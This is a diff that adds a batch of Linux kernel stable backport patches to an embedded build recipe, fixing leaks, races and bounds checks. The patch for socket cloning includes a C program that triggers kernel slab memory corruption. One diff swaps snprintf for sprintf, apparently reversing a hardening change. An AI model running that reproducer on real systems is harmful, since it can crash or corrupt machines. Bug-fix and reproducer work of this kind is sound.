+ +We've got a memory leak with the following producer: + +while true; +do cat /sys/class/sas_phy/phy-1:0:12/invalid_dword_count >/dev/null; +done + +The buffer req is allocated and not freed after we return. Fix it. + +Fixes: 2908d778ab3e ("[SCSI] aic94xx: new driver") +Signed-off-by: Jason Yan +CC: John Garry +CC: chenqilin +CC: chenxiang +Reviewed-by: Christoph Hellwig +Reviewed-by: Hannes Reinecke +Signed-off-by: Martin K. Petersen +Signed-off-by: Sasha Levin +Signed-off-by: Greg Kroah-Hartman +--- + drivers/scsi/libsas/sas_expander.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c +index 0cac7d8fd0f7..98783fecd0b7 100644 +--- a/drivers/scsi/libsas/sas_expander.c ++++ b/drivers/scsi/libsas/sas_expander.c +@@ -684,6 +684,7 @@ int sas_smp_get_phy_events(struct sas_phy *phy) + phy->phy_reset_problem_count = scsi_to_u32(&resp[24]); + + out: ++ kfree(req); + kfree(resp); + return res; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0406-bbf594868f37-x86MCE Serialize sysfs changes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0406-bbf594868f37-x86MCE Serialize sysfs changes.patch new file mode 100644 index 0000000..f63f172 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0406-bbf594868f37-x86MCE Serialize sysfs changes.patch @@ -0,0 +1,117 @@ +From bbf594868f37cfd50d4289a01a9e25151b9a26cf Mon Sep 17 00:00:00 2001 +From: Seunghun Han +Date: Tue, 6 Mar 2018 15:21:43 +0100 +Subject: x86/MCE: Serialize sysfs changes + +commit b3b7c4795ccab5be71f080774c45bbbcc75c2aaf upstream. + +The check_interval file in + + /sys/devices/system/machinecheck/machinecheck + +directory is a global timer value for MCE polling. If it is changed by one +CPU, mce_restart() broadcasts the event to other CPUs to delete and restart +the MCE polling timer and __mcheck_cpu_init_timer() reinitializes the +mce_timer variable. + +If more than one CPU writes a specific value to the check_interval file +concurrently, mce_timer is not protected from such concurrent accesses and +all kinds of explosions happen. Since only root can write to those sysfs +variables, the issue is not a big deal security-wise. + +However, concurrent writes to these configuration variables is void of +reason so the proper thing to do is to serialize the access with a mutex. + +Boris: + + - Make store_int_with_restart() use device_store_ulong() to filter out + negative intervals + - Limit min interval to 1 second + - Correct locking + - Massage commit message + +Signed-off-by: Seunghun Han +Signed-off-by: Borislav Petkov +Signed-off-by: Thomas Gleixner +Cc: Greg Kroah-Hartman +Cc: Tony Luck +Cc: linux-edac +Cc: stable@vger.kernel.org +Link: http://lkml.kernel.org/r/20180302202706.9434-1-kkamagui@gmail.com +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/cpu/mcheck/mce.c | 22 +++++++++++++++++++++- + 1 file changed, 21 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/kernel/cpu/mcheck/mce.c b/arch/x86/kernel/cpu/mcheck/mce.c +index bf44e45a2a76..d5d3af159bec 100644 +--- a/arch/x86/kernel/cpu/mcheck/mce.c ++++ b/arch/x86/kernel/cpu/mcheck/mce.c +@@ -56,6 +56,9 @@ static DEFINE_MUTEX(mce_chrdev_read_mutex); + rcu_read_lock_sched_held() || \ + lockdep_is_held(&mce_chrdev_read_mutex)) + ++/* sysfs synchronization */ ++static DEFINE_MUTEX(mce_sysfs_mutex); ++ + #define CREATE_TRACE_POINTS + #include + +@@ -2183,6 +2186,7 @@ static ssize_t set_ignore_ce(struct device *s, + if (kstrtou64(buf, 0, &new) < 0) + return -EINVAL; + ++ mutex_lock(&mce_sysfs_mutex); + if (mca_cfg.ignore_ce ^ !!new) { + if (new) { + /* disable ce features */ +@@ -2195,6 +2199,8 @@ static ssize_t set_ignore_ce(struct device *s, + on_each_cpu(mce_enable_ce, (void *)1, 1); + } + } ++ mutex_unlock(&mce_sysfs_mutex); ++ + return size; + } + +@@ -2207,6 +2213,7 @@ static ssize_t set_cmci_disabled(struct device *s, + if (kstrtou64(buf, 0, &new) < 0) + return -EINVAL; + ++ mutex_lock(&mce_sysfs_mutex); + if (mca_cfg.cmci_disabled ^ !!new) { + if (new) { + /* disable cmci */ +@@ -2218,6 +2225,8 @@ static ssize_t set_cmci_disabled(struct device *s, + on_each_cpu(mce_enable_ce, NULL, 1); + } + } ++ mutex_unlock(&mce_sysfs_mutex); ++ + return size; + } + +@@ -2225,8 +2234,19 @@ static ssize_t store_int_with_restart(struct device *s, + struct device_attribute *attr, + const char *buf, size_t size) + { +- ssize_t ret = device_store_int(s, attr, buf, size); ++ unsigned long old_check_interval = check_interval; ++ ssize_t ret = device_store_ulong(s, attr, buf, size); ++ ++ if (check_interval == old_check_interval) ++ return ret; ++ ++ if (check_interval < 1) ++ check_interval = 1; ++ ++ mutex_lock(&mce_sysfs_mutex); + mce_restart(); ++ mutex_unlock(&mce_sysfs_mutex); ++ + return ret; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0407.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0407.diff new file mode 100644 index 0000000..76a0e52 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0407.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/net/phy/mdio-bcm-unimac.c b/drivers/net/phy/mdio-bcm-unimac.c +index 5b643e5..74e13fd 100644 +--- a/drivers/net/phy/mdio-bcm-unimac.c ++++ b/drivers/net/phy/mdio-bcm-unimac.c +@@ -129,6 +129,8 @@ + return -ENOMEM; + + r = platform_get_resource(pdev, IORESOURCE_MEM, 0); ++ if (!r) ++ return -EINVAL; + + /* Just ioremap, as this MDIO block is usually integrated into an + * Ethernet MAC controller register range diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0408-6949153ccb2f-drm udl Properly check framebuffer mmap offsets.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0408-6949153ccb2f-drm udl Properly check framebuffer mmap offsets.patch new file mode 100644 index 0000000..f981e8a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0408-6949153ccb2f-drm udl Properly check framebuffer mmap offsets.patch @@ -0,0 +1,46 @@ +From 6949153ccb2fde17fb76e1ebcfdb8f5727dc58d1 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Wed, 21 Mar 2018 16:45:53 +0100 +Subject: drm: udl: Properly check framebuffer mmap offsets + +commit 3b82a4db8eaccce735dffd50b4d4e1578099b8e8 upstream. + +The memmap options sent to the udl framebuffer driver were not being +checked for all sets of possible crazy values. Fix this up by properly +bounding the allowed values. + +Reported-by: Eyal Itkin +Cc: stable +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Daniel Vetter +Link: https://patchwork.freedesktop.org/patch/msgid/20180321154553.GA18454@kroah.com +Signed-off-by: Greg Kroah-Hartman +--- + drivers/gpu/drm/udl/udl_fb.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/drivers/gpu/drm/udl/udl_fb.c b/drivers/gpu/drm/udl/udl_fb.c +index cd8d183dcfe56..ccb26652198b3 100644 +--- a/drivers/gpu/drm/udl/udl_fb.c ++++ b/drivers/gpu/drm/udl/udl_fb.c +@@ -256,10 +256,15 @@ static int udl_fb_mmap(struct fb_info *info, struct vm_area_struct *vma) + { + unsigned long start = vma->vm_start; + unsigned long size = vma->vm_end - vma->vm_start; +- unsigned long offset = vma->vm_pgoff << PAGE_SHIFT; ++ unsigned long offset; + unsigned long page, pos; + +- if (offset + size > info->fix.smem_len) ++ if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT)) ++ return -EINVAL; ++ ++ offset = vma->vm_pgoff << PAGE_SHIFT; ++ ++ if (offset > info->fix.smem_len || size > info->fix.smem_len - offset) + return -EINVAL; + + pos = (unsigned long)info->fix.smem_start + offset; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0409-43f8ff29c37b-staging ncpfs memory corruption in ncpreadkernel.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0409-43f8ff29c37b-staging ncpfs memory corruption in ncpreadkernel.patch new file mode 100644 index 0000000..0243bfc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0409-43f8ff29c37b-staging ncpfs memory corruption in ncpreadkernel.patch @@ -0,0 +1,37 @@ +From 43f8ff29c37bf96b918a8fa1a9a2c13d28603044 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Mon, 19 Mar 2018 14:07:45 +0300 +Subject: staging: ncpfs: memory corruption in ncp_read_kernel() + +commit 4c41aa24baa4ed338241d05494f2c595c885af8f upstream. + +If the server is malicious then *bytes_read could be larger than the +size of the "target" buffer. It would lead to memory corruption when we +do the memcpy(). + +Reported-by: Dr Silvio Cesare of InfoSect +Signed-off-by: Dan Carpenter +Cc: stable +Signed-off-by: Greg Kroah-Hartman +--- + fs/ncpfs/ncplib_kernel.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/fs/ncpfs/ncplib_kernel.c b/fs/ncpfs/ncplib_kernel.c +index 482387532f547..9fb4fe875a757 100644 +--- a/fs/ncpfs/ncplib_kernel.c ++++ b/fs/ncpfs/ncplib_kernel.c +@@ -980,6 +980,10 @@ ncp_read_kernel(struct ncp_server *server, const char *file_id, + goto out; + } + *bytes_read = ncp_reply_be16(server, 0); ++ if (*bytes_read > to_read) { ++ result = -EINVAL; ++ goto out; ++ } + source = ncp_reply_data(server, 2 + (offset & 1)); + + memcpy(target, source, *bytes_read); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0410.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0410.diff new file mode 100644 index 0000000..3c83313 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0410.diff @@ -0,0 +1,15 @@ +diff --git a/net/bluetooth/hidp/core.c b/net/bluetooth/hidp/core.c +index f64de56..a295b5e 100644 +--- a/net/bluetooth/hidp/core.c ++++ b/net/bluetooth/hidp/core.c +@@ -431,8 +431,8 @@ + del_timer(&session->timer); + } + +-static void hidp_process_report(struct hidp_session *session, +- int type, const u8 *data, int len, int intr) ++static void hidp_process_report(struct hidp_session *session, int type, ++ const u8 *data, unsigned int len, int intr) + { + if (len > HID_MAX_BUFFER_SIZE) + len = HID_MAX_BUFFER_SIZE; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0411.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0411.diff new file mode 100644 index 0000000..4694cb9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0411.diff @@ -0,0 +1,14 @@ +diff --git a/lib/asn1_decoder.c b/lib/asn1_decoder.c +index a0c9578..762d152 100644 +--- a/lib/asn1_decoder.c ++++ b/lib/asn1_decoder.c +@@ -283,6 +283,9 @@ + if (unlikely(len > datalen - dp)) + goto data_overrun_error; + } ++ } else { ++ if (unlikely(len > datalen - dp)) ++ goto data_overrun_error; + } + + if (flags & FLAG_CONS) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0412.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0412.diff new file mode 100644 index 0000000..4ba2884 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0412.diff @@ -0,0 +1,27 @@ +diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c +index b304648..3bc80c7 100644 +--- a/net/ipv4/raw.c ++++ b/net/ipv4/raw.c +@@ -340,6 +340,9 @@ + rt->dst.dev->mtu); + return -EMSGSIZE; + } ++ if (length < sizeof(struct iphdr)) ++ return -EINVAL; ++ + if (flags&MSG_PROBE) + goto out; + +diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c +index c9ccdd7..fd5ad12 100644 +--- a/net/ipv6/raw.c ++++ b/net/ipv6/raw.c +@@ -616,6 +616,8 @@ + ipv6_local_error(sk, EMSGSIZE, fl6, rt->dst.dev->mtu); + return -EMSGSIZE; + } ++ if (length < sizeof(struct ipv6hdr)) ++ return -EINVAL; + if (flags&MSG_PROBE) + goto out; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0413.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0413.diff new file mode 100644 index 0000000..bddfdb1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0413.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c +index 8e075ea2743e..43f7fbede448 100644 +--- a/drivers/pci/pci-sysfs.c ++++ b/drivers/pci/pci-sysfs.c +@@ -722,7 +722,7 @@ static ssize_t driver_override_show(struct device *dev, + ssize_t len; + + device_lock(dev); +- len = snprintf(buf, PAGE_SIZE, "%s\n", pdev->driver_override); ++ len = sprintf(buf, "%s\n", pdev->driver_override); + device_unlock(dev); + return len; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0414.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0414.diff new file mode 100644 index 0000000..7628512 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0414.diff @@ -0,0 +1,19 @@ +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index 0871b1c..8b30750 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -2082,11 +2082,12 @@ + if ((1 == resp->done) && (!resp->sg_io_owned) && + ((-1 == pack_id) || (resp->header.pack_id == pack_id))) { + resp->done = 2; /* guard against other readers */ +- break; ++ write_unlock_irqrestore(&sfp->rq_list_lock, iflags); ++ return resp; + } + } + write_unlock_irqrestore(&sfp->rq_list_lock, iflags); +- return resp; ++ return NULL; + } + + /* always adds to end of list */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0415.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0415.diff new file mode 100644 index 0000000..72eb1ed --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0415.diff @@ -0,0 +1,146 @@ +diff --git a/kernel/futex.c b/kernel/futex.c +index 168f369..ed99fda9 100644 +--- a/kernel/futex.c ++++ b/kernel/futex.c +@@ -400,6 +400,7 @@ + unsigned long address = (unsigned long)uaddr; + struct mm_struct *mm = current->mm; + struct page *page, *page_head; ++ struct address_space *mapping; + int err, ro = 0; + + /* +@@ -478,7 +479,19 @@ + } + #endif + +- lock_page(page_head); ++ /* ++ * The treatment of mapping from this point on is critical. The page ++ * lock protects many things but in this context the page lock ++ * stabilizes mapping, prevents inode freeing in the shared ++ * file-backed region case and guards against movement to swap cache. ++ * ++ * Strictly speaking the page lock is not needed in all cases being ++ * considered here and page lock forces unnecessarily serialization ++ * From this point on, mapping will be re-verified if necessary and ++ * page lock will be acquired only if it is unavoidable ++ */ ++ ++ mapping = READ_ONCE(page_head->mapping); + + /* + * If page_head->mapping is NULL, then it cannot be a PageAnon +@@ -495,18 +508,31 @@ + * shmem_writepage move it from filecache to swapcache beneath us: + * an unlikely race, but we do need to retry for page_head->mapping. + */ +- if (!page_head->mapping) { +- int shmem_swizzled = PageSwapCache(page_head); ++ if (unlikely(!mapping)) { ++ int shmem_swizzled; ++ ++ /* ++ * Page lock is required to identify which special case above ++ * applies. If this is really a shmem page then the page lock ++ * will prevent unexpected transitions. ++ */ ++ lock_page(page); ++ shmem_swizzled = PageSwapCache(page) || page->mapping; + unlock_page(page_head); + put_page(page_head); ++ + if (shmem_swizzled) + goto again; ++ + return -EFAULT; + } + + /* + * Private mappings are handled in a simple way. + * ++ * If the futex key is stored on an anonymous page, then the associated ++ * object is the mm which is implicitly pinned by the calling process. ++ * + * NOTE: When userspace waits on a MAP_SHARED mapping, even if + * it's a read-only handle, it's expected that futexes attach to + * the object not the particular process. +@@ -524,16 +550,74 @@ + key->both.offset |= FUT_OFF_MMSHARED; /* ref taken on mm */ + key->private.mm = mm; + key->private.address = address; ++ ++ get_futex_key_refs(key); /* implies smp_mb(); (B) */ ++ + } else { ++ struct inode *inode; ++ ++ /* ++ * The associated futex object in this case is the inode and ++ * the page->mapping must be traversed. Ordinarily this should ++ * be stabilised under page lock but it's not strictly ++ * necessary in this case as we just want to pin the inode, not ++ * update the radix tree or anything like that. ++ * ++ * The RCU read lock is taken as the inode is finally freed ++ * under RCU. If the mapping still matches expectations then the ++ * mapping->host can be safely accessed as being a valid inode. ++ */ ++ rcu_read_lock(); ++ ++ if (READ_ONCE(page_head->mapping) != mapping) { ++ rcu_read_unlock(); ++ put_page(page_head); ++ ++ goto again; ++ } ++ ++ inode = READ_ONCE(mapping->host); ++ if (!inode) { ++ rcu_read_unlock(); ++ put_page(page_head); ++ ++ goto again; ++ } ++ ++ /* ++ * Take a reference unless it is about to be freed. Previously ++ * this reference was taken by ihold under the page lock ++ * pinning the inode in place so i_lock was unnecessary. The ++ * only way for this check to fail is if the inode was ++ * truncated in parallel so warn for now if this happens. ++ * ++ * We are not calling into get_futex_key_refs() in file-backed ++ * cases, therefore a successful atomic_inc return below will ++ * guarantee that get_futex_key() will still imply smp_mb(); (B). ++ */ ++ if (WARN_ON_ONCE(!atomic_inc_not_zero(&inode->i_count))) { ++ rcu_read_unlock(); ++ put_page(page_head); ++ ++ goto again; ++ } ++ ++ /* Should be impossible but lets be paranoid for now */ ++ if (WARN_ON_ONCE(inode->i_mapping != mapping)) { ++ err = -EFAULT; ++ rcu_read_unlock(); ++ iput(inode); ++ ++ goto out; ++ } ++ + key->both.offset |= FUT_OFF_INODE; /* inode-based key */ +- key->shared.inode = page_head->mapping->host; ++ key->shared.inode = inode; + key->shared.pgoff = basepage_index(page); ++ rcu_read_unlock(); + } + +- get_futex_key_refs(key); /* implies MB (B) */ +- + out: +- unlock_page(page_head); + put_page(page_head); + return err; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0416.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0416.diff new file mode 100644 index 0000000..446c881 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0416.diff @@ -0,0 +1,41 @@ +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index 6c7944d..d42dc4d 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -1431,10 +1431,6 @@ + + mutex_lock(&fanout_mutex); + +- err = -EINVAL; +- if (!po->running) +- goto out; +- + err = -EALREADY; + if (po->fanout) + goto out; +@@ -1472,7 +1468,10 @@ + list_add(&match->list, &fanout_list); + } + err = -EINVAL; +- if (match->type == type && ++ ++ spin_lock(&po->bind_lock); ++ if (po->running && ++ match->type == type && + match->prot_hook.type == po->prot_hook.type && + match->prot_hook.dev == po->prot_hook.dev) { + err = -ENOSPC; +@@ -1484,6 +1483,13 @@ + err = 0; + } + } ++ spin_unlock(&po->bind_lock); ++ ++ if (err && !atomic_read(&match->sk_ref)) { ++ list_del(&match->list); ++ kfree(match); ++ } ++ + out: + mutex_unlock(&fanout_mutex); + return err; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0417-f7e1dd8ebca4-HID debug check length before copytouser.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0417-f7e1dd8ebca4-HID debug check length before copytouser.patch new file mode 100644 index 0000000..007600b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0417-f7e1dd8ebca4-HID debug check length before copytouser.patch @@ -0,0 +1,55 @@ +From f7e1dd8ebca4d67411c333223e4205879d141eaa Mon Sep 17 00:00:00 2001 +From: Daniel Rosenberg +Date: Mon, 2 Jul 2018 16:59:37 -0700 +Subject: HID: debug: check length before copy_to_user() + +commit 717adfdaf14704fd3ec7fa2c04520c0723247eac upstream. + +If our length is greater than the size of the buffer, we +overflow the buffer + +Cc: stable@vger.kernel.org +Signed-off-by: Daniel Rosenberg +Reviewed-by: Benjamin Tissoires +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-debug.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/hid/hid-debug.c b/drivers/hid/hid-debug.c +index 8bf61d295ffd7..7192fa1d2786c 100644 +--- a/drivers/hid/hid-debug.c ++++ b/drivers/hid/hid-debug.c +@@ -1150,6 +1150,8 @@ copy_rest: + goto out; + if (list->tail > list->head) { + len = list->tail - list->head; ++ if (len > count) ++ len = count; + + if (copy_to_user(buffer + ret, &list->hid_debug_buf[list->head], len)) { + ret = -EFAULT; +@@ -1159,6 +1161,8 @@ copy_rest: + list->head += len; + } else { + len = HID_DEBUG_BUFSIZE - list->head; ++ if (len > count) ++ len = count; + + if (copy_to_user(buffer, &list->hid_debug_buf[list->head], len)) { + ret = -EFAULT; +@@ -1166,7 +1170,9 @@ copy_rest: + } + list->head = 0; + ret += len; +- goto copy_rest; ++ count -= len; ++ if (count > 0) ++ goto copy_rest; + } + + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0418-39e221cb5ce0-NFC llcp Limit size of SDP URI.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0418-39e221cb5ce0-NFC llcp Limit size of SDP URI.patch new file mode 100644 index 0000000..af9d099 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0418-39e221cb5ce0-NFC llcp Limit size of SDP URI.patch @@ -0,0 +1,53 @@ +From 39e221cb5ce0822cd7d0a4c82e8949d32f33e43e Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Wed, 14 Feb 2018 15:45:07 -0800 +Subject: NFC: llcp: Limit size of SDP URI + +[ Upstream commit fe9c842695e26d8116b61b80bfb905356f07834b ] + +The tlv_len is u8, so we need to limit the size of the SDP URI. Enforce +this both in the NLA policy and in the code that performs the allocation +and copy, to avoid writing past the end of the allocated buffer. + +Fixes: d9b8d8e19b073 ("NFC: llcp: Service Name Lookup netlink interface") +Signed-off-by: Kees Cook +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +Signed-off-by: Greg Kroah-Hartman +--- + net/nfc/llcp_commands.c | 4 ++++ + net/nfc/netlink.c | 3 ++- + 2 files changed, 6 insertions(+), 1 deletion(-) + +diff --git a/net/nfc/llcp_commands.c b/net/nfc/llcp_commands.c +index a3ad69a4c648c..1e7245792fc08 100644 +--- a/net/nfc/llcp_commands.c ++++ b/net/nfc/llcp_commands.c +@@ -149,6 +149,10 @@ struct nfc_llcp_sdp_tlv *nfc_llcp_build_sdreq_tlv(u8 tid, char *uri, + + pr_debug("uri: %s, len: %zu\n", uri, uri_len); + ++ /* sdreq->tlv_len is u8, takes uri_len, + 3 for header, + 1 for NULL */ ++ if (WARN_ON_ONCE(uri_len > U8_MAX - 4)) ++ return NULL; ++ + sdreq = kzalloc(sizeof(struct nfc_llcp_sdp_tlv), GFP_KERNEL); + if (sdreq == NULL) + return NULL; +diff --git a/net/nfc/netlink.c b/net/nfc/netlink.c +index c4dc313275220..982db48693ace 100644 +--- a/net/nfc/netlink.c ++++ b/net/nfc/netlink.c +@@ -60,7 +60,8 @@ static const struct nla_policy nfc_genl_policy[NFC_ATTR_MAX + 1] = { + }; + + static const struct nla_policy nfc_sdp_genl_policy[NFC_SDP_ATTR_MAX + 1] = { +- [NFC_SDP_ATTR_URI] = { .type = NLA_STRING }, ++ [NFC_SDP_ATTR_URI] = { .type = NLA_STRING, ++ .len = U8_MAX - 4 }, + [NFC_SDP_ATTR_SAP] = { .type = NLA_U8 }, + }; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0419-bc8a5a45208d-net Set skprotcreator when cloning sockets to the right proto.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0419-bc8a5a45208d-net Set skprotcreator when cloning sockets to the right proto.patch new file mode 100644 index 0000000..94a849e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0419-bc8a5a45208d-net Set skprotcreator when cloning sockets to the right proto.patch @@ -0,0 +1,109 @@ +From bc8a5a45208d335de143643e51358c8299bce0f3 Mon Sep 17 00:00:00 2001 +From: Christoph Paasch +Date: Tue, 26 Sep 2017 17:38:50 -0700 +Subject: net: Set sk_prot_creator when cloning sockets to the right proto + +[ Upstream commit 9d538fa60bad4f7b23193c89e843797a1cf71ef3 ] + +sk->sk_prot and sk->sk_prot_creator can differ when the app uses +IPV6_ADDRFORM (transforming an IPv6-socket to an IPv4-one). +Which is why sk_prot_creator is there to make sure that sk_prot_free() +does the kmem_cache_free() on the right kmem_cache slab. + +Now, if such a socket gets transformed back to a listening socket (using +connect() with AF_UNSPEC) we will allocate an IPv4 tcp_sock through +sk_clone_lock() when a new connection comes in. But sk_prot_creator will +still point to the IPv6 kmem_cache (as everything got copied in +sk_clone_lock()). When freeing, we will thus put this +memory back into the IPv6 kmem_cache although it was allocated in the +IPv4 cache. I have seen memory corruption happening because of this. + +With slub-debugging and MEMCG_KMEM enabled this gives the warning + "cache_from_obj: Wrong slab cache. TCPv6 but object is from TCP" + +A C-program to trigger this: + +void main(void) +{ + int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + int new_fd, newest_fd, client_fd; + struct sockaddr_in6 bind_addr; + struct sockaddr_in bind_addr4, client_addr1, client_addr2; + struct sockaddr unsp; + int val; + + memset(&bind_addr, 0, sizeof(bind_addr)); + bind_addr.sin6_family = AF_INET6; + bind_addr.sin6_port = ntohs(42424); + + memset(&client_addr1, 0, sizeof(client_addr1)); + client_addr1.sin_family = AF_INET; + client_addr1.sin_port = ntohs(42424); + client_addr1.sin_addr.s_addr = inet_addr("127.0.0.1"); + + memset(&client_addr2, 0, sizeof(client_addr2)); + client_addr2.sin_family = AF_INET; + client_addr2.sin_port = ntohs(42421); + client_addr2.sin_addr.s_addr = inet_addr("127.0.0.1"); + + memset(&unsp, 0, sizeof(unsp)); + unsp.sa_family = AF_UNSPEC; + + bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)); + + listen(fd, 5); + + client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + connect(client_fd, (struct sockaddr *)&client_addr1, sizeof(client_addr1)); + new_fd = accept(fd, NULL, NULL); + close(fd); + + val = AF_INET; + setsockopt(new_fd, SOL_IPV6, IPV6_ADDRFORM, &val, sizeof(val)); + + connect(new_fd, &unsp, sizeof(unsp)); + + memset(&bind_addr4, 0, sizeof(bind_addr4)); + bind_addr4.sin_family = AF_INET; + bind_addr4.sin_port = ntohs(42421); + bind(new_fd, (struct sockaddr *)&bind_addr4, sizeof(bind_addr4)); + + listen(new_fd, 5); + + client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + connect(client_fd, (struct sockaddr *)&client_addr2, sizeof(client_addr2)); + + newest_fd = accept(new_fd, NULL, NULL); + close(new_fd); + + close(client_fd); + close(new_fd); +} + +As far as I can see, this bug has been there since the beginning of the +git-days. + +Signed-off-by: Christoph Paasch +Reviewed-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/core/sock.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/core/sock.c b/net/core/sock.c +index 8c8fb6ab8a267..55f35765c6e02 100644 +--- a/net/core/sock.c ++++ b/net/core/sock.c +@@ -1488,6 +1488,8 @@ struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority) + + sock_copy(newsk, sk); + ++ newsk->sk_prot_creator = sk->sk_prot; ++ + /* SANITY */ + get_net(sock_net(newsk)); + sk_node_init(&newsk->sk_node); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0420-badf15c8a243-scsi libsas defer ata device eh commands to libata.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0420-badf15c8a243-scsi libsas defer ata device eh commands to libata.patch new file mode 100644 index 0000000..6bf5346 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0420-badf15c8a243-scsi libsas defer ata device eh commands to libata.patch @@ -0,0 +1,134 @@ +From badf15c8a243ca1292b8034dea2f91cc01982010 Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Thu, 8 Mar 2018 10:34:53 +0800 +Subject: scsi: libsas: defer ata device eh commands to libata + +commit 318aaf34f1179b39fa9c30fa0f3288b645beee39 upstream. + +When ata device doing EH, some commands still attached with tasks are +not passed to libata when abort failed or recover failed, so libata did +not handle these commands. After these commands done, sas task is freed, +but ata qc is not freed. This will cause ata qc leak and trigger a +warning like below: + +WARNING: CPU: 0 PID: 28512 at drivers/ata/libata-eh.c:4037 +ata_eh_finish+0xb4/0xcc +CPU: 0 PID: 28512 Comm: kworker/u32:2 Tainted: G W OE 4.14.0#1 +...... +Call trace: +[] ata_eh_finish+0xb4/0xcc +[] ata_do_eh+0xc4/0xd8 +[] ata_std_error_handler+0x44/0x8c +[] ata_scsi_port_error_handler+0x480/0x694 +[] async_sas_ata_eh+0x4c/0x80 +[] async_run_entry_fn+0x4c/0x170 +[] process_one_work+0x144/0x390 +[] worker_thread+0x144/0x418 +[] kthread+0x10c/0x138 +[] ret_from_fork+0x10/0x18 + +If ata qc leaked too many, ata tag allocation will fail and io blocked +for ever. + +As suggested by Dan Williams, defer ata device commands to libata and +merge sas_eh_finish_cmd() with sas_eh_defer_cmd(). libata will handle +ata qcs correctly after this. + +Signed-off-by: Jason Yan +CC: Xiaofei Tan +CC: John Garry +CC: Dan Williams +Reviewed-by: Dan Williams +Signed-off-by: Martin K. Petersen +Cc: Guenter Roeck +Signed-off-by: Greg Kroah-Hartman +--- + drivers/scsi/libsas/sas_scsi_host.c | 33 +++++++++++++-------------------- + 1 file changed, 13 insertions(+), 20 